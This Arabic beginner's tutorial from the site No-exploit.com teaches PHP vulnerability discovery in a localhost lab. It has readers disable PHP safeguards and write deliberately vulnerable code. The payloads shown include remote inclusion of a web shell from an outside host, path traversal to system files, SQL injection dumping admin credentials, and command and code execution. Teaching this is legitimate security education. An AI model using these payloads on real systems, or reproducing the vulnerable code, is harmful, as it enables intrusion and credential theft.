المدرسة الأمنية	No-exploit.com

خطوتك الأولى في اكتشاف الثغرات

Site : No-exploit.Com

الكاتب : Jiko

الاصدار : 0.1

التاريخ : 2012/09/07

الفهرس

مقدمة

السلام عليكم ورحمة الله تعالى وبركاته.

بداية أحب أن أخبركم بشيء يحز في نفسي وربما في نفوسكم أيضا، ألا وهو عدم التجديد والاكتفاء بما وجد وهو الفرق بيننا وبين الغرب، فنحن نكتفي بالقشور ونترك اللب ولا نطور شيئا قد مضى ما يقرب السنتين ولم ادخل إلى هذا العالم الخفي لكنه لم يشكل فارقا يذكر غير أسماء جديدة تعيد جزءا مما سبق ويجب شكرها لتثبيت ما حصل قبلا، عيبنا أننا لا نقرأ، لا نبحث، لا نشارك. خلاصة القول أن العلم أهم مما نتصور والبحث والتطوير من أهم الركائز وأنجحها لبلوغ الهدف، فرجاءا ساهموا في النهوض بهذه الأمة في شتى الميادين فقد كانت ذات يوم أمة عالمة أما اليوم فهي دون ذلك. وشارك ما لديك فهناك حلول وأفكار أخرى تنتظر ما لديك.

سأحاول في هذا الكتاب بإذن الله ان الم بأغلب الثغرات مع أمثلة توضيحية بشكل مبسط، تجعل الأمور واضحة وسلسة للفهم. وكيفية استغلالها بشكل سهل. و بإذن الله سيكون المحتوى مبسطا وسهل الفهم للجميع مع إدراج الأمثلة المناسبة على شكلها العادي.

أتمنى أن يلقى الكتاب إعجابكم، وان يبلغ هدفه في إيصال الفكرة للجميع. حاول نشره قدر الإمكان وتوزيعه على كل من هو مهتم.

إهداء

وجب أن اهدي هذا الكتاب للعديد من الأصدقاء وأخاف أن أنسى واحدا منهم.

إلى كل الأصدقاء الذين عرفوني من قريب أو بعيد، إلى أخي وصديقي عبد الغني Cyber-Devil، إلى أصدقاء لم اسمع عنهم خبرا إلى يومنا هذا Cyber-zone، Leopard، Houssamix، Toxic350، Hassin-x، Stack، Mizoz ، Sadhacker، HxH، ZaIdOoHxHaCkEr. اعذروني إن كنت نسيت أحدا ولم اذكره.

طريقة العمل

يتم الشرح خلال مراحل، بداية بطرح الكود المصاب وتوضيح الخلل مرورا بالاستغلال، ونهاية بخلاصة.

عدة العمل

ستحتاج لعدة من اجل التطبيق والمتابعة معنا وهي تتألف من :

AppServ : برنامج يعمل على تنصيب سيرفر شخصي على حاسبك (Apache,Php5,Mysql,PhpMyAdmin) ، النسخة المفضلة 2.5.9، الموقع.

PhpShell : ملف PHP به مجموع من العمليات الجاهزة للاستخدام، اختر ما يناسبك، أو استعمل الكود المرفق بالشرح.

محرر ملفات : اختر ما يناسبك، (Notepad,NotePad++,PhpDesigner...).

تجهيز المختبر

أولا قم بتنصيب البرنامج انظر أعلاه، تابع إلى أن ينتهي(التالي تم التالي,,,).

ثانيا قد انتهيت من تنصيب البرنامج، إليك بعد المعلومات السريعة :

الملف الرئيسي : C:\AppServ\www

للدخول للموقع : localhost أو 127.0.0.1

Phpmayadmin : localhost/phpmyadmin أو 127.0.0.1/phpmyadmin.

من أجل تسهيل عملية اكتشاف الثغرات وإيجادها بشكل ميسر عليك القيام ببعض التعديلات على الملف الخاص بـ php وهو php.ini الخاص بالإعدادات الرئيسية قصد توفير الشروط المناسبة وإذا عكستها حصل العكس. يوجد الملف عادة في C:\WINDOWS\php.ini. أو اختر Configuration Server ثم PHP Edit the php.ini Configuration File.

الإعدادات

safe_mode = off

نريد العمل على راحتنا، وكل شيء بخير.

disabled_functions = N/A

لا نريد منع أي دالة، ليشتغل كل شيء.

register_globals = on

لاستقبال القيم من المتغير دون تحديد طريقة الاستقبال.

allow_url_include = on

تسمح بعمل ثغرة RFI/LFI ، تستدعي ملفات خارجية (عن بعد).

allow_url_fopen = on

تسمح بعمل ثغرة RFI/LFI ، تستدعي ملفات خارجية (عن بعد).

magic_quotes_gpc = off

لا نريده أن يقوم بحماية ما نرسله للبرنامج بإضافة \ قبل ' و " .

short_tag_open = on

من اجل استعمال التعريف القصير يستعمله بعض البرامج (<? ? >).

file_uploads = on

طبعا نريد رفع بعض الملفات.

display_errors = on

لنرى الأخطاء ظاهرة ونعرف أننا في المكان المناسب.

الآن أصبحت الإعدادات جاهزة للعمل ما عليك سوى إعادة تشغيل برنامج Appserv، لتعمل بنجاح.

من اجل استعمال برامج php :

يحتاج اغلبها قاعدة بيانات.

التنصيب أو حقن ملف sql.

حدف بعض الملفات بعد الانتهاء إذا طلبها منك، مثل install.php , upgrade.php.

Remote File Inclusion

من أشهر الثغرات وخاصة في الإصدار الرابع من php، لها خطورة كبيرة تسمح باستدعاء ملفات من خارج الموقع، اي تعلم على جلب الملف من بعد وتنفذ محتواه على الموقع كأنه ملف خاص بالموقع.

الدوال المسؤولة عن الثغرة

require, require_once, include, include_once

للمزيد من المعلومات عن هذه الدوال راجع موقع الـPhp.

مثال :

أنشء ملف test.php في المجلد الرئيسي للموقع تمت الإشارة له أعلاه. تم ضع فيه المحتوى التالي :

```
<?php

//Remote File Inclusion

include $_GET['page'];

?>
```

اذهب للمتصفح وافتح الملف عن طريق عنوان الموقع تم اسم الملف، عنوان الموقع تمت الإشارة له أعلاه. ماذا ظهر لك؟ خطأ؟

```
Warning: include() [function.include]: Failed opening '' for inclusion (include_path='.;C:\php5\pear')
in C:\AppServ\www\bugs\test.php on line 3
```

إذا كنت تستعمل نفس البرنامج فهذا ما سيظهر لك، وان كان غيره سيظهر مخالف.

الملاحظ في المحتوى الخاص بملف test.php أنه يقوم باستدعاء ملف عن طريق دالة include، والملف المستدعى اسمه مخزن في متغير يدعى page يستقبل المتغير عن طريق GET، مما يعني انه على الشكل التالي :

localhost/test.php?page=file

ونستطيع التحكم في قيمة المتغير عن طريق استبدالها بما يناسبنا مثلا نريد استدعاء كود خاص بنا وتطبيقه على الموقع ولديك Phpshell، نستثمر الثغرة على الشكل التالي :

localhost/test.php?page=http://no-exploit.com/tools/phpshell.txt

نرى في بعض الإستغلالات أشكالا متنوعة من الاستغلال مثلا :

localhost/test.php?page=http://no-exploit.com/tools/shell.txt%00

localhost/test.php?page=http://no-exploit.com/tools/phpshell.txt?

لماذا؟

في بعض الأحيان يكون المحتوى الخاص بالبرمجة مغاير ولنأخذ على سبيل المثال :

```
<?php
//Remote File Inclusion
include $_GET['page']."php";
?>
```

يفيد هذا النص أنه يقوم بإدراج اسم صفحة مخزن في متغير page ويضيف له الامتداد php. ماذا لو حاولنا استغلاله مثل السابق؟ سنجد أنه يدرج رابطا بهذا الشكل :

http://no-exploit.com/tools/phpshell.txt.php

وبالتالي لن يدرج شيئا. لدى نعمد لإضافة 00% ويطلق عليها اسم ' NULLBYTE ' وكل ما يليها لن يؤخذ بعين الاعتبار. الآن أصبح الاستغلال على الشكل التالي :

localhost/test.php?page=http://no-exploit.com/tools/shell.txt%00

وتارة قد تجد استغلالا بهذا الشكل :

localhost/test.php?page=http://no-exploit.com/tools/phpshell.txt?

وهو الاستغلال الأكثر انتشارا والمفضل لدى الجميع. بحيث يصبح كل ما بعده لاغيا ولا يؤخذ بعين الاعتبار.

Local File Inclusion

هي ثغرة عكس السابقة فإن كانت الأولى تهم إدراج ملفات من خارج الموقع فهذه تدرج ملفات من داخل الموقع مع العلم ان الأولى تقوم بالشيئين معا. غير أن هذه الثغرة لا تقوم بعمل الأولى.

الدوال المسؤولة عن الثغرة نفس الدوال السابقة.

مثال :

```
<?php
//Local File Inclusion
include "page/".$_GET['page'];
?>
```

الملاحظ ان النص أعلاه يقوم باستدعاء ملف اسمه مخزن في المتغير page من مجلد page، تستثمر هذه الثغرة في قراءة محتوى ملفات على الموقع وتنفيذ بعضها التي تحتوي على نص php. مثال للاستغلال :

localhost/bugs/test.php?page=../../../boot.ini

قراءة ملف boot.ini بالنسبة لنظام windows، /.. تعني الخروج من المجلد، أما على linux فتجدها تطبق بكثرة على ملف passwd.

Local File Disclosure/Download

الثغرة السابقة تعمل على قراءة بعض الملفات فقط، أما هذه الثغرة فهي تقرأ كل الملفات وتحملها.

الدوال المسؤولة عن الثغرة :

readfile, file, file_get_contents, fopen, highlight_file, show_source.

لمعرفة الدوار راجع موقع php.

مثال :

```
<?php
//Local File Disclosure/Download
show_source ($_GET['page']);
?>
```

بعد مشاهدة النص أعلاه وإذا علمنا ان الدالة show_source تعمل على عرض محتوى ملف معين، سندرك انه يتم عرض محتوى ملف اسمه مخزن في متغير page يستقبل عن طريق GET. وبالتالي يصبح الاستغلال على الشكل التالي :

localhost/bugs/test.php?page=page.php

بعد استثمارها نجد انه عرض لنا محتوى الملف الخاص بنا. كل ما رأيناه إلى الآن هو فقط قراءة الملف، أما الآن سنرى نوع تحميل الملف وهو مشابه للقراءة، مثال :

```
<?php
//Local File Disclosure/Download
                $page = $_GET['page'];
                header("Pragma: public");
                header("Expires: 0");
                header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

                header("Content-Type: application/force-download");
                header( "Content-Disposition: attachment; filename=".basename($page));

                //header( "Content-Description: File Transfer");
                @readfile($page);
?>
```

نفس التطبيق السابق وسنجد الملف قابلا للتحميل.

Remote SQL Injection

هي ثغرة خاصة بجلب المعلومات من قواعد البيانات ولها خصائص أخرى مثل قراءة الملفات ورفع الملفات أيضا ولكنها تتطلب شروطا معينة من اجل تحقيق المراد، غير ان استخراج المعطيات من قاعدة البيانات أمر شيق وجميل. مثال

انشأ قاعدة بيانات تحمل اسم bugs تم نفد هذا النص :

```
CREATE TABLE `bugs` (
 `id` int(11) NOT NULL auto_increment,
 `bug` varchar(255) NOT NULL,
```

```
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;
INSERT INTO `bugs` VALUES (1, 'No-exploit.com');
```

هذا نص الصفحة الخاصة بنا غير بما يناسبك معلومات الاتصال

```
<?php
//Remote Sql Injection
mysql_connect("localhost","root","123123");
mysql_select_db("bugs");

$query = mysql_query("select * from bugs where id = $id");
while($data = mysql_fetch_array($query)){
        echo $data['id']." : ".$data['bug']."<br/>";
}
?>
```

تصفح الآن الصفحة التالية :

localhost/sql.php?id=1

سترى أنها صفحة عادية وتعرض معلومات، أضف ' بعد 1 ليصبح كالتالي :

localhost/sql.php?id=1'

ظهر خطأ، وقد حان وقت استغلاله، لدينا الجدول bugs مكون من عنصرين فقط وهما id وbug . مما يجعلنا نستخدم رقمين فقط ويمكن التأكد عن طريق العبارة order by متبوعة برقم وستجد أن الأرقام الأقل من 2 يتم إظهار المعلومات دون اي خطأ في حين ان الأرقام الأكبر يظهر الخطأ. كيفية العرض :

localhost/sql.php?id=1 union select 1,2—

ستلاحظ ظهور الرقمين 1و 2 في الصفحة وهنا سنظهر المعلومات التي نريد، مثلا

localhost/sql.php?id=1 union select version(),database()—

قمنا بعرض إصدار mysql و اسم القاعدة الخاصة بالبرنامج. من اجل استخراج معلومات من جدول لنفترض ان اسمه admin وبه معلومات user و password تتم على الشكل الأتي :

localhost/sql.php?id=1 union select user,password from admin—

Remote Command Execution

ثغرة جميلة ومحبوبة غير أنها قليل ما نصادفها تنفذ الأوامر كأنك على dos أو console، الدوال المسؤولة عنها هي :

system, exec, passthru, shell_exec

مثال :

```
<?php
//Remote Command Execution
system($_GET['cmd']);
?>
```

ادخل الآن على صفحتك الخاصة مع إضافة ?cmd=dir لتحصل على رابط مثل التالي :

localhost/sql.php?cmd=dir

تلاحظ أنها قامت بعرض ملفات المجلد لديك. تقبل الأوامر ونفيدها على حسب التصاريح الخاصة بك.

Remote Code Execution

ثغرة تنفذ كود php ما عليك سوى تمريره لها لتقوم بتنفيذه كاملا.

مثال :

```
<?php
//Remote Command Execution
eval($_GET['code']);
?>
```

مثال لاستغلال :

localhost/sql.php?code=phpinfo();

ستعرض معلومات php، لنستغلها بحت تنفد الأوامر مثل الثغرة السابقة.

localhost/sql.php?code=system(dir);

ملحوظة : الاستغلال يعتمد على ما تريد وكيف تريد تنفيذه، وهو يختلف من ثغرة لأخرى، وكل وإبداعه.

الكتاب لم يكتمل بعد، وهو قيد التطوير والتنقيح، لأي ملحوظة راسلنا عن طريق الموقع التالي No-exploit.com.